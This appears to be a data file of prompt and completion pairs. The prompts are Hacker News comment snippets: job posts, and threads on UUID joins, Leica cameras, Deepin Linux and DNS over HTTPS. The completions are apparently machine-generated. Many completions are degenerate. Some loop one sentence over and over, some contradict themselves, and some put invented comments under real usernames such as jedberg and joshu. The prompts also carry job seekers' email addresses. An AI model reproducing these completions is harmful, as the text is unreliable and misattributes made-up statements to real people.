sorry but I don't see how this is a new post. It's a link to a thread\nwhich was posted yesterday.\n\n~~~\ndang\nIt's a new post because it's a new thread.\n\n------\njedberg\nI'm really excited about this. I've been using it for a few months now and it\nhas been a huge productivity boost.\n\nI'm a big fan of", "input_text": "id=21883882)\n\n[https://news.ycombinator.com/item?id=21860713](https://news.ycombinator.com/item?id=21860713)\n\n[https://news.ycombinator.com/item?id=21053366](https://news.ycombinator.com/item?id=21053366)\n\n[https://news.ycombinator.com/item?id=20897029](https://news.ycombinator.com/item?id=20897029)\n\n[https://news.ycombinator.com/item?id=20110253](https://news.ycombinator.com/item?id=20110253)\n(small)\n\n[https://news.ycombinator.com/item?id=19694006](https://news.ycombinator.com/item?id=19694006)\n\nOther large threads can be found among various crystals:\n\n[https://hn.algolia.com/?dateRange=all&page=0&prefix=true&que...](https://hn.algolia.com/?dateRange=all&page=0&prefix=true&query=%22crystal%22%20comments%3E20&sort=byDate&type=story&storyText=none)\n\n~~~\nrvz\nI'm sorry but this is a new post (posted yesterday) which appears to be\nspecifically about 0.34, which should be worth discussing about the changelog?\n\n~~~\ndang\nLinks don't imply that something shouldn't have been posted! They are just for\ncurious readers to explore further. It's a way of sharing the riches of HN's"} +{"output_text": "\n\nI can help you with your product roadmap: I\u2019ve done this for more than 10\nteams at Microsoft. I will help you find and measure the metrics that are most\nindicative of your product success.\n\nI can help you with your product marketing: I\u2019ve done this for more than 10\nteams at Microsoft. I will help you find and measure the metrics that are most\nindicative of your product success.\n\nI can help", "input_text": "/read/wkbttymdcmqt](https://www.overleaf.com/read/wkbttymdcmqt)\n\nPersonal site: robotoverlordmanual.com\n\nEmail: marksaroufim@gmail.com\n\nHi I\u2019m Mark, I\u2019m an Applied ML Scientist and Product Designer. I'm the founder\nof yuri.ai where my goal is to make it really easy for game developers to\nbalance their games using Reinforcement Learning. I\u2019m looking for a job\nbecause the Lebanese banking system is collapsing and I\u2019ll soon need income to\nsupport my parents.\n\nHow I can help you:\n\nI can write top notch documentation and can explain anything to anyone: My\nbook robotoverlordmanual.com is a visual and accessible robotics, ML and math\ntextbook with over 28000 monthly viewers. I\u2019m very comfortable writing and\nspeaking.\n\nI can manage your most complex projects: I was the BI lead when Microsoft was\nselling its display ads business to AOL, I made sure Outlook AI efforts were\ncompliant. I\u2019ve worked on projects with 100+ stakeholders and have\nbootstrapped projects where I was the first engineer to 10 engineers.\n\nI can turn your research into a product: I\u2019ve done this with Yuri, I\u2019ve done\nthis at Microsoft when I was working on a next gen email ranker and a part of\nspeech tagger and I\u2019ve done this at NASA\u2019s Jet Propulsion Laboratory when I\nwas setting up their computer security anomaly detection pipeline from scratch\n\nI can setup your entire BI infrastructure and measure what matters: I\u2019ve done\nthis for more than 10 teams at Microsoft. I will help you find and measure the\nmetrics that are most indicative of your product success."} +{"output_text": " to a 64-bit value.\n\n~~~\nkbenson\nI'm aware of that, but I'm not sure I understand the difference. I'm not\nfamiliar with the details of how the UUID is stored, but I'm guessing it's\njust a series of bytes, and the 128-bit value is just a way to represent the\nbytes in a more compact way.\n\n~~~\ngrzm\nThe 128-bit value is a way to represent the bytes", "input_text": " talk. I was the guy\nwho asked about performance considerations of joins in Postgres using UUIDs.\n\nThis post reads like it's vaguely implementing what should be in a queue\nbackend. There's a locked_at field in the schema, furthermore should this not\nbe performed via...FOR UPDATE?\n\n~~~\nskrebbel\nCare to share the answer to your question about uuid join performance? I've\nhad a hard time finding much about that on the internet.\n\n~~~\ncraigkerstiens\nSure, there is definitely a little extra overhead on the join performance,\nthough my experience I've seen so many other issues become the biggest\nbottleneck before joins of UUIDs. We regularly used UUID as identifies at\nHeroku Postgres and use them at Citus as well and they work extremely well for\nus.\n\nIt is of note that we're actually using the UUID datatype though and not just\ngenerating a UUID and throwing it into a text field.\n\n~~~\nkbenson\n> It is of note that we're actually using the UUID datatype though and not\n> just generating a UUID and throwing it into a text field.\n\nI was thinking that a UUID datatype implemented as a series of ints could have\nfairly good join performance, since you can effectively treat it as a series\nof separate smaller int indices that you join across, and I imagine that's a\nwell understood and optimized problem for years now. A text UUID field though,\nugh, that just seems so wasteful even before you get to optimization\ntechniques.\n\n~~~\ngrzm\nReading your comment, it's not clear to me whether you're aware that the UUID\ndatatype in PostgreSQL is a 128-bit value as opposed"} +{"output_text": "=1307051600&partner=rssnyt&emc=rss\n\n------\njrockway\nI don't understand why people are so upset about this. It's not like they're\ngoing to be able to use the phone without a SIM card.\n\n~~~\njrockway\nI guess I should clarify: I don't understand why people are so upset about\nthis. It's not like they're going to be able to use the phone without a", "input_text": " not\nhard.\n\n------\nhiepnv\n:D, so you need to write down that key or remember it when you want to use on\nanother device\n\nor if that key is provided somehow,such as pushing a request to provider to\nget it using internet, then what happened when there is no connection but gsm\n\nor imagine when you use that key for few devices? what will be your main\ndevice and you want to suspend the others?\n\nMany problems must be solved if you'd like to use a key instead of a SIM card\n:D\n\n------\nmobinni\nBecause like all things, people love options. Consumerism would fail if\neverything was generic.\n\n~~~\nToenex\nSurely I'd have more options if I could use any handset?\n\nI'm a computer literate guy but I still end up carrying 2 handsets - one work,\none personal - most of the time because the handsets aren't truly generic.\n\n~~~\nAndrewDucker\nWhat do you mean generic? People like different screen sizes, are willing to\npay different amounts for different amounts of storage, processor speeds, etc.\n\n~~~\nToenex\nI mean pick up my wife's phone, log in and now it's mine.\n\n~~~\nAndrewDucker\nAaah, Android can do a lot of that. The latest versions support multiple user\nlogins, so you can share a phone other than the (which you'd have to swap).\n\n \nMicrosoft Said to Be Talking With News Corporation About Joint Yahoo Bid - gibsonf1\nhttp://www.nytimes.com/2008/04/10/technology/10google.html?ei=5065&en=d0335626b3163fd3&ex"} +{"output_text": "\nI think you are right. I think the idea is that you can have a single VM and\nthen have multiple containers running on it.\n\n------\njamespo\nI'm not sure if this is satire or not.\n\n~~~\nscprodigy\nI think it is.\n\n------\njamespo\nI'm not sure if this is satire or not.\n\n------\nscprodigy\nI think it is satire.\n\n", "input_text": " silly to suggest that articulate people are uneducated. If that's not an\noxymoron, what is?\n\n------\nepo\nIt's probably a humour piece.\n\nThe trouble is that many foreigners tend to take it at face value because it\npanders to racist stereotypes they hold about the British.\n\n------\nsurfingdino\nI tried to get into Cambridge. The first question I heard was \"What make of\ncar does your father drive to work?\" I told them and they politely rejected\nme.\n\n------\npatkai\nBy the way, does the FT have editors or something?\n\n \nHypernetes: Bringing Security and Multi-Tenancy to Kubernetes - scprodigy\nhttp://blog.kubernetes.io/2016/05/hypernetes-security-and-multi-tenancy-in-kubernetes.html\n======\nswitchbak\nThey mention that this helps cure some issues with regards to resource sharing\n/ memory usage, etc. But does each VM still have a static allocation of\nmemory?\n\nOne of the main benefits I have now is that if I run a number of containers\nthat all take various amounts of memory, I can just throw them on and they\nshare memory amongst each other quite efficiently. If I have to make a static\nallocation of memory for a VM, I'll typically choose a conservative memory\nnumber, and usually under-utilize the machine, wasting a lot of memory per-\ninstance. Not so bad since I chose per-pod, but still an issue.\n\nAs it happens, this same issue is why I'm leaning towards lightweight native\napplications these days instead of an aggressive greedy virtual machine that\ngrabs a bunch of heap. Golang/Rust in particular.\n\n~~~\nscprodigy"} +{"output_text": "interview process. I look for:\n\n\\- How many people are there? \\- How many people are interviewing? \\- How many\npeople are in the room? \\- How many people are in the room? \\- How many people\nare in the room? \\- How many people are in the room? \\- How many people are\nin the room? \\- How many people are in the room? \\- How many people are in the\nroom? \\- How many people are in the room?", "input_text": " promise, when interviewing and you get asked questions that you\nknow the answer you gave to be 100% and they say it's wrong and tell you an\nanswer that isn't correct. Run!\n\nThat interviewer or interviewers indirectly just told you that they dont\nfollow or are going against what the documentation stateted.(in my case how\nelasticsearch is configured)\n\nI.e. you will work in an environment that will leave you with knowledge that\nis incorrect and useless to use in another interview.\n\n------\nHelloNurse\nApart from egregious assholes and dysfunctional relationships (like the\nmentioned husband and wife teams), there are milder and more \"diffuse\" kinds\nof toxic environment.\n\nFor example: within the company, IT is a second class citizen compared to\nproduction, so as a new developer you would start at the bottom of the bottom\nwith no valid career perspectives. Low budget, bad offices, low pay,\nappearance of overwork are clear signs.\n\nFor example: aberrant company culture. Excessive secrecy and/or security\nmeasures (who do they think they are?), extravagant recreational resources\n(are they actually working?), excessive luxury (not bad by itself, but you\nwant them to spend that money on your salary), excessive conviviality, etc.\n\nThere is a meta-warning sign about company culture: refusal to show working\nconditions and procedures to you because of conscious \"discretion\" and\nsubconscious shame. Also, you could like, accept as normal, or justify because\nthey make sense in context some of the bad attitudes you are aware of, failing\nto see they are a problem.\n\n------\nMalcolmDiggs\nWhen I walk into a company (for an interview), I try to get a good look at the\n"} +{"output_text": "anything with pen and paper, and I'm sure there were plenty of people who\ncould've done the same with a computer.\n\nI'm not saying that the technique would've been impossible. I'm saying that\nthe technique would've been more difficult, and that the result would've been\nless impactful.\n\nI'm not saying that the technique would've been impossible. I'm saying that\nthe technique would've been more difficult, and that the result would've been\n", "input_text": " the same. It would have been a lot harder\nto do any degree of realism.\n\n~~~\nerdevs\nYeah, Interstellar definitely scratched this itch for me, and I appreciated it\nfor doing so.\n\nCertainly the theory has developed greatly since then. But being even somewhat\ninformed about the contemporary physical theory would've made the sequence\neven more impactful and satisfying, for me personally.\n\nI don't think technique would've necessarily required greater complexity or\ndifficulty. For example, one might have used the same planing technique, but\nused different patterning and colorization, based on more mathematically\nderived outputs. Not suggesting any kind of simulation or super-advancement.\nJust using the same technique, but informing the visuals based on more\nphysical theory.\n\n~~~\nTheOtherHobbes\nI think that would have been literally impossible in 1969.\n\nFirstly there was no theory of wormholes back then. Black holes were\nincredibly obscure mathematical abstractions in physics journals that weren't\naccessible to most people.\n\nSecondly, this was 1968, when the world's faster supercomputer ran at 36MHz.\nEvans and Sutherland were just getting started when 2001 was being made. There\nwere no GPUs, no digital frame stores, and monochrome bitmapped displays were\nstill exotic.\n\nIt's easy to take computers for granted today. You can plot and animate almost\nanything, and you can do it at home - or on your phone.\n\nNot so in the late 1960s. Mathematically derived animations would have needed\na mountain of cash to pay for computer time just to get something very rough\nand approximate.\n\n~~~\nerdevs\nWhy do you assume computers would've needed to be involved? One can plot\n"} +{"output_text": "\n\n------\njoshu\nI'm not sure I agree with the \"do what you love\" advice.\n\nI think it's better to do what you're good at.\n\nI'm good at writing code, so I do that.\n\nI'm good at writing, so I do that.\n\nI'm good at writing, so I do that.\n\nI'm good at writing, so I do that.\n\nI'm good at writing,", "input_text": " really sucks. I consider my self very lucky\nfor having a full-time hobby that is rewarding and can pay the bills.\n\n------\nkirillzubovsky\nDude, whatever you choose to do, please do yourself a favor and ignore the\nbullshit advice that starts with - \"this is how the real world works...\" That\nnonsense only comes from people who had settled for the average.\n\nLife works in any way that you want it to work.\n\nLook, if you don't want to do the shit work, don't do it, but don't bitch and\nmoan and complain about it. Instead, find a way to still get shit done, while\nnot doing the work you don't want to do.\n\nYou don't like doing homework? Nobody does. It's a waste of time and you will\nnot use 90% of what you've learned.\n\nSpend the bare minimum time you need to pass high-school on work that you have\nto get done, devote the rest of your time to the work you want to get done. If\nthat means learning computer programming, do it. I had friends in high-school\nwho managed hosting companies, while at high-school. Guess what, while the\nrest of us were solving stupid problems and learning history, those guys made\nmoney. It's not a bad skill to learn.\n\nAnyways, this discussion could go back and forth... Get off your ars, close HN\nand just f'ing do something!\n\n~~~\npsc\nGreat post. This is the kind of perspective you want to have. This reminds me\nof PG's high school essay:\n\n\"The important thing is to get out there and do stuff. Instead of waiting to\nbe taught, go out and learn.\" \\- PG"} +{"output_text": "\njosteink\nI\u2019m not sure if I\u2019m missing something, but why would anyone want to use\nDeepin?\n\nIt\u2019s not even a distro, it\u2019s a desktop environment.\n\n~~~\njosteink\nI\u2019m not sure if I\u2019m missing something, but why would anyone want to use\nDeepin?\n\nIt\u2019s not even a distro, it\u2019s a desktop environment.\n\n~~~\nj", "input_text": " Custom media players certainly play to his history and strengths.\n(Shot in the dark: I will guess that the media player is built on GStreamer\nfor the codec support and exposed through QtMultimedia elements.)\n\n~~~\ncaptn3m0\nLooks like Qt + mpv: [https://github.com/linuxdeepin/deepin-movie-\nreborn](https://github.com/linuxdeepin/deepin-movie-reborn)\n\n~~~\nbostik\nOh. My guess was wrong on almost all accounts.\n\n------\nl1n\nTitle should probably be `Huawei has started selling laptops with the Deepin\nLinux OS pre-installed` (no stray `a`)\n\n------\nbjoli\n3:2 aspect ratio on the matebook x! I have said for quite some time that I\nwould wait with buying a laptop until someone else than MS had that aspect\nratio. I guess this means I will be getting a new laptop.\n\n------\nwarabe\nWhy don\u2019t they pre install Ubuntu? It\u2019s so simple, isn\u2019t it?\n\n~~~\ndiffeomorphism\n[https://en.wikipedia.org/wiki/Ubuntu_Kylin](https://en.wikipedia.org/wiki/Ubuntu_Kylin)\n\nIt is.\n\n------\ntype0\nThe beauty is in the eye of the beholder and I don't consider Deepin desktop\nenv more beautiful than Plasma, Budgie, Cinnamon or Gnome. This title is very\nclickbaity, so many distros are have this strage names Clear Linux, Scientific\nLinux, Beautiful Linux, Stupidly Easy Linux etc. You'd never know how \"deep\nin\" the article you will find relevant information.\n\n------"} +{"output_text": "ch engineering team and are looking for people who\nwant to be a part of that. We are a small team, so you will have a huge\nimpact.\n\n------\njoshu\nSan Francisco, CA - Full Time\n\nWe're looking for a senior front-end engineer to join our team.\n\nWe're a small team of engineers and designers who are building a new kind of\nsocial network. We're looking for someone who is comfortable with the front-\n", "input_text": "unein.com)\n\nSan Francisco, CA - close to Caltrain, across the street from AT&T Park Los\nAngeles, CA - Venice Beach, 2 blocks from Venice Beach Boardwalk\n\nOnsite preferred though we've hired remote folks before. Visa transfers ok and\nwe support new green cards. New visas only if straightforward.\n\nExperienced backend, devops, Android, iOS, and data engineering are our\npriorities right now. Always looking for full stack and/or web devs as well.\n\n[http://tunein.com/careers/](http://tunein.com/careers/)\n\nTuneIn\u2019s mission is to deliver the world\u2019s best listening experiences. We\nachieve this by being the most popular way to listen to streaming audio from\naround the world with more than 60 million monthly active users. Our free\nservice combines over 100,000 free radio stations and more than 5.7 million\non-demand programs stemming from every continent, so our users can listen to\nthe world\u2019s sports, music, news and talk from wherever they are. TuneIn\nPremium encompasses all of that as well as exclusive content, streaming sports\nfrom every major league in the US (NFL, MLB, NBA, NHL...), TuneIn Owned and\nOperated stations including curated content, audiobooks, and over 600\ncommercial free music stations. Our users cover iOS, Android, Web, and dozens\nof connected platforms.\n\nOur stacks are built on MySQL, HBase, MSSQL, Redis, DynamoDB, Golang,.NET,\nReact.js, es6, Swift, and a few more. We believe in using the right tool for\nthe job.\n\nWe value being a top-not"} +{"output_text": ": https://www.linkedin.com/in/cyanic/\n Email: cyanic@cyanic.com\n \n\nI'm a full-stack developer with a focus on backend development. I've been\nworking as a freelancer for the past few years, and I'm looking for a new\nopportunity.\n\n------\njames_s_tayler\nLocation: Vancouver, BC, Canada\n\nRemote: Yes\n\nWilling to", "input_text": " contractor (own ltd company), full-stack/front-end\nengineer, designer and open source programmer who's been coding for ~15 years.\n\nI'm currently working on cloud proxy/website optimizer\n[https://oya.to/](https://oya.to/) and an ideal position would be a fully-\nremote contract, full or part-time, but willing to negotiate.\n\n------\nscha\nLocation: New York, NY\n\nRemote: Open\n\nWilling to relocate: No\n\nTechnologies: Sketch, Figma, Adobe CC\n\nR\u00e9sum\u00e9/CV: [https://soheecha.com/wp-content/uploads/2019/10/Sohee-Cha-\nDe...](https://soheecha.com/wp-content/uploads/2019/10/Sohee-Cha-Designer-\nResume.pdf)\n\nPortfolio: [https://soheecha.com](https://soheecha.com)\n\nEmail: soheexcha(at)gmail.com\n\n\\---\n\nI'm Sohee Cha, and I'm looking for an entry or mid-level position as a visual\ndesigner. I say this because my strengths lie in visual design from over 5\nyears working as a graphic designer, but I am ultimately interested in moving\nmy career towards product design.\n\nI currently have 1 year of freelance UX/UI experience.\n\n------\ncyanic\n\n Location: Europe (mostly)\n Remote: Yes (Preferred)\n Willing to relocate: For the right opportunity\n Technologies: Go, Python, C, JavaScript, Linux, Bash, SQL, HTML, CSS, React, Docker, and more\n R\u00e9sum\u00e9/CV"} +{"output_text": "'m not sure if I would have done it, but I'm glad I did.\n\n------\njedberg\nI'm not sure if I would have done it, but I'm glad I did.\n\n------\njedberg\nI'm not sure if I would have done it, but I'm glad I did.\n\n------\njedberg\nI'm not sure if I would have done it, but I'm glad I did.\n\n------\nj", "input_text": " vision.\n\nAnd eventually, it boils down to a waste of time for some subset of students,\nwhich is not helpful to our higher education interests.\n\n------\nsjc33\nI found his constant Twitter boasting distasteful and cringeworthy. It always\ncame off like an infomercial.\n\nCoding bootcamps are not all bad, though, it's just that I think if you are\ngoing to do one then 1) you really need a solid financial cushion (either\nparental or own savings) and 2) you should really do a top rated in person\none. I can't imagine doing this through a Zoom for 9 months in my apartment\nalone. The value of having social support you get from instructors and being\naround other students in the same boat as you can't be understated.\n\n------\nchrisyeh\nLambda's marketing is deceptive and should rightly be stopped. But what is so\nbad about a bootcamp with no up front cost that gets 50% of its graduates a\njob? [https://chrisyeh.com/2020/02/the-cost-of-\ncynicism.html](https://chrisyeh.com/2020/02/the-cost-of-cynicism.html)\n\n------\n737min\nFound this blog from last year comparing Lambda to AppAcademy, confirms many\nof the details and adds some.. no involvement with them.\n[https://blog.appacademy.io/app-academy-versus-lambda-\nschool-...](https://blog.appacademy.io/app-academy-versus-lambda-school-which-\none-is-better/)\n\n------\nthroaway1990\nFascinating story. I"} +{"output_text": " brain into thinking\n> that they are receiving a signal from the eyes, when in fact they are not.\u201d\n\nThis is a very interesting idea, but I'm not sure how it works.\n\n~~~\nnabla9\nIt's a very interesting idea.\n\nThe idea is that the brain is not really receiving signals from the eyes. It's\njust that the brain is fooled into thinking that it is.\n\nThe trick is that the brain is fooled into thinking", "input_text": "mind/\n======\nnabla9\n[https://arxiv.org/abs/1809.08632](https://arxiv.org/abs/1809.08632)\n\nIf I understood the paper correctly, the results are totally unimpressive. The\nexperiment setting seems to me to be intentionally convoluted to sound\nimpressive. Like it's just creative bullshitting.\n\nThis is how it works:\n\n(Edited after scribu corrected me)\n\n1\\. Senders make a decision by concentrating on flashing lights. They use EEG-\ncap to capture difference in spectral power between light flashing 17Hz and 15\nHz using the Welch's method. The choice is difference averaged over several\nepochs in 10-second period (must be very low paced game). Lots of signal\nprocessing and averaging to get yes/no answer between bright 17Hz and 15Hz\nvisual signal from steady state visually evoked potentials.\n\n2\\. This one bit of information was then conveyed to the Receiver using TMS\nusing signal where 10 consecutive pulses is yes, absence of pulses is no.\nThresholds are well calibrated beforehand so that yes/no can transmitted.\nReceivers gets TMS signal that is completely different from what Senders did.\n\n~~~\nscribu\nThe senders do NOT control the cursor by hand. From the paper:\n\n> The Senders convey their decisions of \"rotate\" or \"do not rotate\" by\n> controlling a horizontally moving cursor (Figure 8) using steady-state\n> visually-evoked potentials (SSVEPs).\n\n~~~\nnabla9\nIt seems that you are correct. The cursor is moved by concentrating on the\nlights.\n\n------\npizza\n> \u201cWe essentially \u2018trick\u2019 the neurons in the back of the"} +{"output_text": " owner, not the consumer.\n\nI think the biggest problem with daily deals is that they're not really\npersonalized. I'm not saying that's a bad thing, but it's a problem.\n\nI think the biggest problem with daily deals is that they're not really\npersonalized. I'm not saying that's a bad thing, but it's a problem.\n\nI think the biggest problem with daily deals is that they're not really\npersonalized. I'm", "input_text": " very negative.\nRepeat business is quite low and it mainly attracts the spendthrifts who are\nlooking for a deal. Given the margins that most local businesses have, running\na daily deal means taking a hit on those margins.\n\n2) From a consumer perspective, the novelty of the daily deals market has\nreally worn off. Consumer fatigue has set in and more and more people are\ntired of having their inboxes flooded with emails. Personalization is still a\njoke and ticks people off even further.\n\nIt wont be long before the whole local deal market implodes (think of it --\nthe 2nd largest player - LivingSocial is not yet profitable). Groupon is well\naware of this and so is trying to ramp up its technology platform via\nacquisitions to eventually evolve into something more. Its just a matter of\ntime that the whole thing comes crashing down.\n\n~~~\nMatthewPhillips\nThe local deals is analogous to department store clearance sales. Retailers\nhave perfected the art of the sale and they know that clearance sales are a\ndifferent animal. If someone comes into you store and heads straight to\nclearance they can't be upsold. Don't waste your time on them.\n\nThis is different from your event sale, which _are_ an excellent way to gain\nrepeated customers (and upsell them). There is a future for local deal sites\nbut it needs a different hook with customers.\n\n------\nssharp\nI think there are so many ways technology can help mom + pop type small\nbusinesses inexpensively stay competitive with the numerous forces working\nagainst them (including retail giants with substantially better technology),\nand the huge interest in daily deals justifies this assertion--at least in\nsome small way.\n\nBut the technology needs to help the small business"} +{"output_text": "'re a growing team of over 100 people, and we're looking for talented\nsoftware engineers to help us take our product to the next level. You'll be\nworking with a small, close-knit team, and have the opportunity to make a big\nimpact on the business.\n\nOur tech stack is primarily Python and Django, but we also use a lot of\nJavaScript, and we're always looking to learn new things. We're always open to\nnew approaches and love experimenting", "input_text": " Our customers are tier-1 financial institutions and\nlarge multinationals.\n\nAt the moment we're looking for generalist engineers of any experience level.\nWe work in Python, Go, Java and JavaScript. We have two projects with over 1k\nstars on GitHub (one just broke 3k\n[https://github.com/arachnys](https://github.com/arachnys)). We're always\nlooking to open source more.\n\nOur small, tight-knit team has a can-do mentality and isn't scared to use new\ntools when they are the right ones for the job. We have a relentless focus on\nquality of delivery, while not being scared of pushing back on customer\ndemands. (A tier-1 bank recently told us that we were the first supplier that\nhad asked them, \"Why?\", about their requirements.)\n\nDrop me a line (email in profile) if any questions.\n\nEmail jobs@arachnys.com to apply, linking to your GitHub or some other code\nthat you think tells a good story about you.\n\n------\nmajogu\nFreeAgent, Edinburgh and REMOTE (UK-only)\n\n[http://www.freeagent.com](http://www.freeagent.com)\n\nAt FreeAgent we help freelancers and micro-businesses be more successful by\nputting them in control of their company finances.\n\nWe have built an award-winning online accounting product that offers full end-\nto-end compliance, from time tracking to tax return filing. We're based in\nbeautiful Edinburgh and we're growing from strength to strength with over\n55,000 paying customers and strong YoY growth. Our NPS is off the charts (76!)\n- customers love what we do!\n\nWe"} +{"output_text": " I don't get the brand. It's not a brand that I associate with quality,\nit's a brand that I associate with a certain kind of snobbery.\n\n~~~\nmikeash\nI think it's a brand that's associated with quality, but not necessarily\nsnobbery.\n\nI think it's a brand that's associated with quality, but not necessarily\nsnobbery.\n\n~~~\nVeejayRampay\nI don't think", "input_text": " comment, instead of posting a new one. I agree\nwith your sense of freeing, but if, as the author talks about, you'll crop\nmany of your shots, it doesn't sound so freeing then.\n\n~~~\nmjhoy\nI was also surprised about the cropping! For my own photographs I never crop,\nI don't really see the point. But perhaps he is publishing photos, in which\ncase I understand it.\n\n------\nTomte\nUnder the heading \"Video\": \"I think the Q does video.\"\n\nThat's it. I love his writing style.\n\n------\ndsmithatx\nGlad I googled the camera and found out it cost +$4000 before reading are\nreview about it. It should have been the first sentence of the article since\nmost of us will never dream of spending that on a camera.\n\n~~~\npetercooper\nYou'll want to file \"Leica\" away in that area of your brain where brands like\n\"Ferrari\" or \"Rolex\" are. It's basically the equivalent in cameras.\n\n~~~\nbrudgers\nA camera produces artifacts. To _me_ that makes it a bit different than a car\nor a watch: Roli tell the same time, Ferrari's pick up the same cartons of\nmilk, but lenses and sensors and firmware capture different images.\n\nI see Leica as of a kind with other multi thousand dollar cameras...it's not\nas if a Nikon or a Cannon is any more or less reasonable.\n\n------\nVeejayRampay\nI never quite understood Leica. The quality of their products is undoubtedly\nextremely high, I won't try to deny that and they deserve credit for decades\nof excellence in the field.\n\nBut"} +{"output_text": " Nightly yet.\n\n------\njosteink\nI'm not sure if I'm missing something, but why is this a problem?\n\nIf you're using a browser that supports HTTPS, you're already using HTTPS.\n\nIf you're using a browser that doesn't support HTTPS, you're already using\nHTTP.\n\nIf you're using a browser that supports HTTPS, but you don't want to use\nHTTPS, you're already using HTTP", "input_text": " name FOSS projects have developed a massive paternalist streak\nover the last decade or so.\n\nThis in complete ignorance that what attracted people to them in the first\nplace was to escape the paternalism (and black box nature of proprietary\nsoftware) from the likes of Microsoft.\n\n------\njchw\nDNS over HTTPS being skewed into a bad thing is a new one for me. How could\nthis be worse than sending it in plain text to any other entity? At least in\nthis case it's going to be limited to Cloudflare and not whoever's watching in\nbetween.\n\nIf this is part of what it takes to get this technology rolled out, then do\nwhat it takes imo.\n\n------\nneoeldex\nHmm, it's not great they intend to send this information to the great firewall\nin the sky. If it were mozilla's own servers, I'd re-enable the usage\ncollection on nightly. Bit more of the same with the screencapture features,\nit's a shame we can't host and configure our own services....\n\n------\nHugoDaniel\nAre container tabs already available outside of Nightly?\n\n~~~\nseba_dos1\nI'm using them on Developer Edition, although I think I had to install an\nextension that makes use of them (in my case, Tab Center Redux) in order to\nenable them.\n\n------\nsnowpanda\nWhat about Firefox Beta? Does anyone know?\n\n~~~\nTD-Linux\nA better source is the original posting:\n\n[https://groups.google.com/forum/#!topic/mozilla.dev.platform...](https://groups.google.com/forum/#!topic/mozilla.dev.platform/_8OAKUHso0c)\n\nNot even in"} +{"output_text": "\n\nWe are looking for engineers who are passionate about building great mobile\napps. We are looking for engineers who are passionate about building great\nmobile apps. We are looking for engineers who are passionate about building\ngreat mobile apps.\n\nWe are looking for engineers who are passionate about building great mobile\napps. We are looking for engineers who are passionate about building great\nmobile apps. We are looking for engineers who are passionate about building\ngreat mobile apps.\n\nWe are looking for", "input_text": " self-\ntaught, and we value resourcefulness over previous experience. This is a full-\ntime role on-site in the Financial District of New York City, and we cannot\nsponsor a visa. To apply, send us a resume, and links to your blog, projects,\nGithub, and any other resources that might help us understand your background\nand skills.\n\nEmail Peter at jobs@quill.org\n\nTo learn more about Quill, check out these links:\n\n\\- [https://quill.org/play](https://quill.org/play)\n\n\\- [https://medium.com/writing-with-quill](https://medium.com/writing-with-\nquill)\n\n\\- [https://twitter.com/Quill_org](https://twitter.com/Quill_org)\n\n------\nshawneebaughman\nSTRIVR Labs | Menlo Park CA | Onsite | Full Time | Multiple Development Team\nPositions STRIVR Labs has been successfully training college and professional\nathletes in VR since 2014. Our company is now expanding to provide training\nsolutions for all enterprises. We've got big players on board and need more\ntalent to help us engineer fantastic training experiences in VR. We are hiring\nfor the following positions: Unity VR developer, 3D Modeler, Web Developer,\nBackend Developer, Frontend Developer, Data Science programmer\n\nSee job descriptions in detail on the Jobs page of our website: strivrlabs.com\n\n------\nadamgluck\nUber | San Francisco | Fulltime | Android | iOS\n\nInterested in a highly leveraged, collaborative engineering role at the heart\nof Uber's core product? Awesome. We are hiring on the Driver Platform team at\nUber."} +{"output_text": " that are really good. I think the\nreason is that the web is moving away from the \"web 1.0\" design style. I\nthink the best ones are the ones that are trying to be \"web 2.0\" or \"web 3.0\"\nor whatever.\n\n------\njoshu\nI'm a designer. I'm not a hacker.\n\nI'm a hacker because I can code. I'm a designer because I can draw.\n\n", "input_text": " started working as a developer, I worked in web studio that\nalso did great design. But they also gave me the ability to try and design\nstuff along them. They taught me about typography, layouts etc. I even did\nsome print stuff because I wanted to learn it. Little by little pieces started\nto fall in place. I'm far from great designer, but I can design things that\nare nice and usable. The biggest problem is that I really like boxes. When I'm\ndesigning stuff I'm automatically placing things so they can be easily sliced.\nBut I'm working on it.\n\nMy advice is to just start working on some designs, and to find some friendly\ndesigner that will help you with constructive criticism.\n\n------\nyatsyk\nI very impressed with level of design work of Rails Rumble winners. Are any\nblog posts from contestants about design process, tools, resources they used\n(stock images, templates) and so on?\n\n------\njayair\nI do both and I am trying to help other hackers figure out more about design\nas well.\n\nA: I usually have a vision in mind for the project or the feature. To do this\nI try and break it down into smaller parts and optimize for the one thing I\nwant the users to do for that part. For complicated designs I go through ideas\non a notepad before I settle on something. The most important part of this\nprocess is to understand why a certain design element needs to be put in. If\nmy design elements lack purpose I take them out.\n\nOnce I have that then I go about building stuff. Sometimes the end result will\ndiffer from the vision in which case it might literally be \"back to the\ndrawing board\".\n\nB: I haven't found too many recent ones"} +{"output_text": "ul_stamets_the_mycelium_mushroom...](https://www.ted.com/talks/paul_stamets_the_mycelium_mushroom_can_save_the_world)\n\n------\njimmywanger\nI'm not sure if this is a good idea.\n\nI'm not sure if it's even possible to do this.\n\nI'm not sure if it's even possible to", "input_text": " efforts to find funding to continue\nin that direction were not productive. I guess we were just better software\ndevelopers than sales people. :-) Plus we have learned a lot since then about\na more incremental development style.\n[http://gardenwithinsight.com/nsfprop.htm](http://gardenwithinsight.com/nsfprop.htm)\n\nAnyway, I can hope that using that Garden Simulator software as an initial\nreference point can help a next generation of soil scientists and free\nsoftware developers create even better software for research, education, and\napplications from bringing soil anywhere back to life. :-)\n\n~~~\nroel_v\nThank you, very interesting. I feel your pain wrt converting Fortran models;\nI've spend quite some time doing it for models similar to EPIC. In fact, about\n7-8 years ago in a fit of hubris, we submitted a proposal as part of which I\nwould integrate EPIC into some other models, as a part of which I would have\nto convert it to C++; IIRC I estimated about 6 months for it. TBH I do have\nlarge libraries of simulation framework, so it would mostly be understanding\nequations and converting them. Still, I'm happy we didn't win that proposal :)\n\n------\nbeautifulfreak\nPaul Stamets has studied the soil restorative effects of mycellium mushroom\nand published a number of videos. In this Ted Talk at the 10 minute mark,\nthere's a demonstration of just how rapidly a patch of ground can be\ntransformed compared to other commonly used methods, even land polluted with\ndiesel fuel, which the mycellium rapidly breaks down into harmless compounds.\nAll the videos are fascinating.\n[https://www.ted.com/talks/pa"} +{"output_text": " not a good fit for him.\n\n~~~\nmartijn_himself\nThanks for the clarification. I guess I was just looking for a comparison\nbetween the two.\n\n------\njoshu\nI have a Leica M9 and a Fuji X100T. The Leica is a great camera, but the\nFuji's image quality is just so much better.\n\n~~~\njoshu\nI'm not sure if this is the right place to post", "input_text": " quality (though there are certainly\nmany very good shots). But where the Leica excels is razor sharp images that\ndon't have any hint of \"is that sharpened in Photoshop?\" (for 